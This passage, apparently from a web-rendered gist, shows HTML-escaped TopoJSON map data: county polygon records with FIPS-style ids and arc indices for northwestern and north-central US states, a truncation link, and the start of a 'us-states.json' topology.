-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/d8b87b4d3d74944be837e21f12ec0b7e">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]